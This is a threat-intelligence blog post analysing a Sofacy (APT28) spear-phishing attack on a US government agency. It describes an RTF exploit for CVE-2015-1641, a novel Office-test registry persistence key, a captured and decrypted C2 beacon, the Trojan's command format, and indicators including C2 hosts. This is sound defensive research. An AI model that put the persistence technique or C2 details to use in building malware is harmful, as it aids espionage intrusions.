

New Sofacy Attacks Against US Government Agency

20,782
people reacted

0

7 min. read

SHARE



By Robert Falcone and Bryan Lee
June 14, 2016 at 5:00 AM
Category: Unit 42
Tags: APT28, Carberp, Ministry of Foreign Affairs, Sofacy, Trojan

The Sofacy group, also known as APT28, is a well-known threat group that frequently conducts cyber espionage campaigns. Recently, Unit 42 identified a spear phishing e-mail from the Sofacy group that targeted the United States government. The e-mail was sent from a potentially compromised account belonging to the Ministry of Foreign Affairs of another government entity and carried the Carberp variant of the Sofacy Trojan. The developer implemented a clever persistence mechanism in the Trojan, one which had not been observed in previous attacks. The focus of this blog will be on the attacks and the infrastructure associated with Sofacy using the new persistence mechanism as a correlation point.

The Delivery

On May 28, 2016, attackers sent a spear-phishing e-mail to a U.S. government entity using an email address belonging to the Ministry of Foreign Affairs of another country. Analysis of the attack revealed a high likelihood that the sender's email address was not spoofed and is instead a result of a compromised host or account belonging to that Ministry.

The targeted email had a subject of "FW: Exercise Noble Partner 2016", which is a reference to a joint NATO training effort between the United States and Georgia. The email contained an RTF file as an attachment, with the filename "Exercise_Noble_Partner_16.rtf," reflecting the same training exercise. We have also seen related delivery documents with filenames that have a Russian military theme (Putin_Is_Being_Pushed_to_Prepare_for_War.rtf and Russian anti-Nato troops.rtf), purportedly targeting organizations in Poland according to a blog published by [Preventy](#).

The RTF file is a weaponized document that attempts to exploit CVE-2015-1641 to drop two files to the system, specifically, "btcache.dll" and "svchost.dll". The "btcache.dll" file is a Trojan that loads and executes "svchost.dll", which is a Carberp variant of the Sofacy Trojan. Surprisingly, unlike many other espionage actors who display decoy documents after successful exploitation, this RTF document does not drop or open a decoy document after exploiting the vulnerability.

In the installation process, we observed the delivery document creating a very interesting registry key that it uses for persistence to run the Trojan. The path to the "btcache.dll" file is added to the following registry key:

Software\Microsoft\Office test\Special\Perf: "C:\Users\{username}\AppData\Roaming\btcache.dll"

This registry key is interesting, because unlike traditional methods of maintaining persistence, it does not automatically run the "btcache.dll" file at system start up. Instead, this registry key will cause the DLL to load only when the user opens any Microsoft Office application, such as Word or Excel. **This is the first time Unit 42 has seen the Sofacy group, or any other threat group for that matter, use this tactic for persistence purposes.** An added benefit for the threat actor to using this specific tactic for persistence is that it requires user interaction to load and execute the malicious payload, which can cause challenges for detection in automated sandboxes.

The Carberp variant of Sofacy

The "btcache.dll" file is the loader Trojan that is responsible for loading the "svchost.dll" DLL and executing it. Both the "btcache.dll" and "svchost.dll" files contain code from the leaked Carberp source code, specifically the API resolution functions, as well as the RC2 key. The Sofacy group has used the Carberp source code in the past, specifically discussed in a [blog by F-Secure](#), which is the reason we call this Trojan the Carberp variant.

The "svchost.dll" file contains the bulk of the functionality of this Trojan, which at a high level is a downloader that allows the threat actors to gain an initial foothold on the system. The Trojan sends network beacons to its command and control (C2) server allowing the threat actors to identify targets of interest. The threat actors can then respond to these network beacons to download and execute additional secondary payloads on the system.

The Trojan delivered in this attack contains two network locations that it will send network beacons to, specifically "google.com" and "191.101.31.6". These beacons are sent to the legitimate website google.com as an attempt to hide the true C2 beacons sent to the actual C2 server hosted at 191.101.31.6. The network beacons are sent using HTTP POST requests with URLs created largely with random characters. There are two exceptions where random characters are not used to construct the URL, specifically the file extension that is randomly chosen from .xml, .pdf, .htm or .zip and the base64 encoded value at the end of the URL. The base64 encoded data is a string ("JO4aLsxVhHBkr19CYr0") hardcoded within the Trojan that it will then encrypt using a custom algorithm. Figure 1 shows an example beacon sent from the Trojan to the C2 server during analysis.

```
POST /d/eTZWlQ/C174.pdf/?w=VhUEt0ryl9xMsdvraIrhInLzmvsZsJm= HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64;
Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
Host: 191.101.31.6
Content-Length: 798
Cache-Control: no-cache

rFEET9aEytnhZ4+GxqDUGPLG+O6D9dfYl6bzZ5X1s6J26nug/XXZJ2eM0NCJ9Y3Y
guOp3on8M7U49vY8PHK05PoysuI49vY8OXQ24n1jdiC46nKk+JP8p3pZOf/sa3
IePrYsPLxs7U49vY80rQ3In1jdIC46nRieUN2ILqC6M5cV5fKN2ILqC6M5cV5
fKN2ILqC6M5cV5fKN2ILqC6M5cV5fKN2ILqC6M5cV5fKN2ILqC6M5cV5
fKN2ILqC6M5cV5fKN2ILqC6K6cZrIfON2ILqC6M5cV5fKN2ILqC6M5cV5J
fX0XK5/+xreP9cbPk+JkYdTJ29jw4tTQ10Pb2PDJ282W6dHYJkGxZ+M0MuZ7sZ0
1qjGxZ+M0NCeQMbfn4ZA0pTuzM60qMbfn4zR2Jvxs+19c+tn/7Gt4wMwY9deT
n/7Gt5nrsS0f/sa3e8nN1ZX150f/sa3qePC5nu6t0e49vY1KjGxZ+M0N1b9MDV
qvThYZX1zNgy6d0J10Pb2PDVxty15cv+k+rx2I1J0zM60qMbfn4z2v2Jv0wMq9MzJ
leX0MbLp0Mu49vY80PbZ2p0d1IqMbfn4zQy5nuZM60qMbfn4zQy5nuZM60qMbF
n4zh1Intv5w+/5k/X18Lve9/Ko2ev8qMLn9KnN/OK12fz1pdn84qZ/OK12fz1
pdn84qZ/1/UT12Wpdn84c+gKYNtsK0mCFjdy2jY3Utnf+e/P2ce224qZ58NN
n7ea
```

The POST data seen in the beacon in Figure 1 is base64 encoded and encrypted using the same custom algorithm used to encrypt the data in the beacon URL. We decrypted the data to determine its purpose and found the cleartext seen in Figure 2.

```
,^Bid=I,;<w@[System Process]
System
smss.exe
csrss.exe
wininit.exe
csrss.exe
winlogon.exe
services.exe
lsass.exe
lsmd.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
spoolsv.exe
svchost.exe
taskhost.exe
userinit.exe
dwm.exe
explorer.exe
svchost.exe
cmd.exe
conhost.exe
reader_sl.exe
svchost.exe
cmd.exe
conhost.exe
SearchIndexer.exe
SearchProtocolHost.exe
SearchFilterHost.exe
SearchProtocolHost.exe
explorer.exe
svchost.exe
svchost.exe
disk=IDE\DiskMAXTOR_HARDDISK_____2.2.1____\5&2770a7af&0&0.0.0
build=0x7caa0e19
```

Figure 2 Decrypted HTTP POST Data Shows System Information

The clear text of the data sent in the network beacons contains information regarding the compromised system, as well as malware-specific information. The data is comprised of the following fields of data:

id = The serial number of the storage device

w = This parameter (whose name 'w' could change to any character between samples) begins with a one byte value denoting the OS version followed by a one byte value for the CPU architecture. These values are immediately followed by a new line delimited list of running processes on the system.

disk = The name of the system's hard drive, obtained from the registry key "SYSTEM\CurrentControlSet\Services\Disk\Enum\0"

build = The hardcoded build identifier for the Trojan version

inject = (Optional, not displayed in Figure 2) If the Trojan injected its code into other processes to interact with the C2 server

This callback data allows the threat actors to determine if the infected machine is a target of interest, as the beacon contains a list of running processes and the name of the storage device that could be used to filter out analysis systems or researchers. If the actors believe the system is of interest, they will respond to these network beacons to download and execute additional secondary payloads on the system. The Trojan parses the response to the beacons for two actions "Execute" and "Delete" between the tags "[file]" and "[/file]", as well as settings labeled "FileName", "PathToSave", "Rundll" and "IP" between the tags "[settings]" and "[/settings]". This allows the threat actors to download additional files to the system, execute both executables and DLLs and delete files.

The Infrastructure

The initial analyzed sample in this attack only contained a single malicious command and control location, 191.101.31.6. We have not observed this IP address used by the Sofacy group in any previous attack campaigns, and examining passive DNS data showed no other correlations to potentially related attacks. The sample also seen by Prevenity appeared to only have a single primary C2 domain, servicecdp[.]com. This domain also appears to be newly created for this specific attack campaign, with no strong links to any previous attacks.

Pivoting off the unique registry key used for persistence revealed links to a previously observed Sofacy campaign, from mid-2015. Two additional payloads with recent compile dates of March 7, 2016, were discovered using the same persistence mechanism, and analysis of those payloads revealed one primary C2 domain, munimonoc[.]com, and three secondary C2 domains, www.wscapi[.]com, www.tabsync[.]net, and storsvc[.]org. The secondary C2 domains may appear familiar, as they were widely publicized in a [report from iSight Partners](#) in July 2015 as C2 domains related to the Sofacy group aka Tsar Team.

In addition, the primary C2 domain munimonoc[.]com previously had resolved to the IP 66.172.11.207, which was previously identified as a primary C2 IP for a Sofacy payload with a compile timestamp of June 11, 2015. This particular sample also happened to use the exact same secondary C2 domains of [www.wscapi\[.\]com](#), [www.tabsync\[.\]net](#), and [storsvc\[.\]org](#), but lacked the newly discovered persistence mechanism.



The Sofacy group often re-uses infrastructure components across multiple attack campaigns, whether to speed the flow of attacks, for a lack of available resources committed, or out of sheer laziness. In this case, the newer attack campaign appears to use newly created infrastructure, but still maintains some overlap with previous Sofacy-related C2s. We believe this overlap could possibly be due to an oversight when adapting a previous code base with the new persistence method discussed in this blog for the new attack campaign.

The threat appears to be moving toward deployment of one-off infrastructure that can make analysis of attack campaigns and correlation more challenging. This shift stresses the importance of analysts and researchers being able to pivot on all artifacts of a given attack, not simply relying on network indicators. In this case, we were able use AutoFocus to pivot on a common registry key unique to this attack campaign to quickly identify where it correlates with characteristics of previous attacks.

Conclusion

The Sofacy group continues its attack campaigns on government organizations, specifically the U.S. government in this latest spear-phishing example. The threat group added a new persistence mechanism that requires user interaction by loading its payload into Microsoft Office applications when opened, which may help the actors to evade detection. The use of this new persistence method shows the continued development of tactics and techniques employed by this threat group, often times in clever ways as we observed in this instance.

Palo Alto Networks customers are protected from the new Sofacy Carberp variant and can gather additional information using the following tools:

- WildFire detection of all known samples as malicious
- All known C2s are classified as malicious in PAN-DB
- AutoFocus tags have been created [SofacyCarberp](#)

Indicators

Delivery Documents

03cb76bdc619fac422d2b954adfa511e7ecabc106adce804b1834581b5913bca (Exercise_Noble_Partner_16.rtf)
12572c2fc2b0298ffd4305ca532317dc8b97ddfd0a05671066fe594997ec38f5
(Putin_Is_Being_Pushed_to_Prepare_for_War.rtf and Russian anti-Nato troops.rtf)

Loader Trojans

c2551c4e6521ac72982cb952503a2e6f016356e02ee31dea36c713141d4f3785 (btocache.dll)
be1cfa10fcf2668ae01b98579b345ebe87dab77b6b1581c368d1aba9fd2f10a0 (bitsprex3.dll)
fbd5c2cf1c1f17402cc313fe3266b097a46e08f48b971570ef4667fbfd6b7301 (amdcache.dll)

Payloads

69940a20ab9abb31a03fcef6de92a16ed474bbdff3288498851afc12a834261 (svchost.dll)
aeeab3272a2ed2157ebf67f74c00fafc787a2b9bbaa17a03be1e23d4cb273632 (clconfig.dll)
dfa8a85e26c07a348a854130c652dcc6d29b203ee230ce0603c83d9f11bbcacc (iprpp.dll)
57d230ddaf92e2d0504e5bb12abf52062114fb8980c5ecc413116b1d6ffedf1b (clconfig.dll)

Command and Control


191.101.31.6
munimonoce[.]com
wscapi[.]com
tabsync[.]net
storsvc[.]org
servicecdp[.]com

Get updates from Palo Alto Networks!

Sign up to receive the latest news, cyber threat intelligence and research from us

Subscribe

☐ I'm not a robot



reCAPTCHA

Privacy - Terms

By submitting this form, you agree to our [Terms of Use](#) and acknowledge our [Privacy Statement](#).

Popular Resources

- Resource Center
- Blog
- Communities
- Tech Docs
- Unit 42
- Sitemap
- Legal Notices
- Privacy
- Terms of Use
- Documents
- Account
- Manage Subscriptions

[Report a Vulnerability](#)

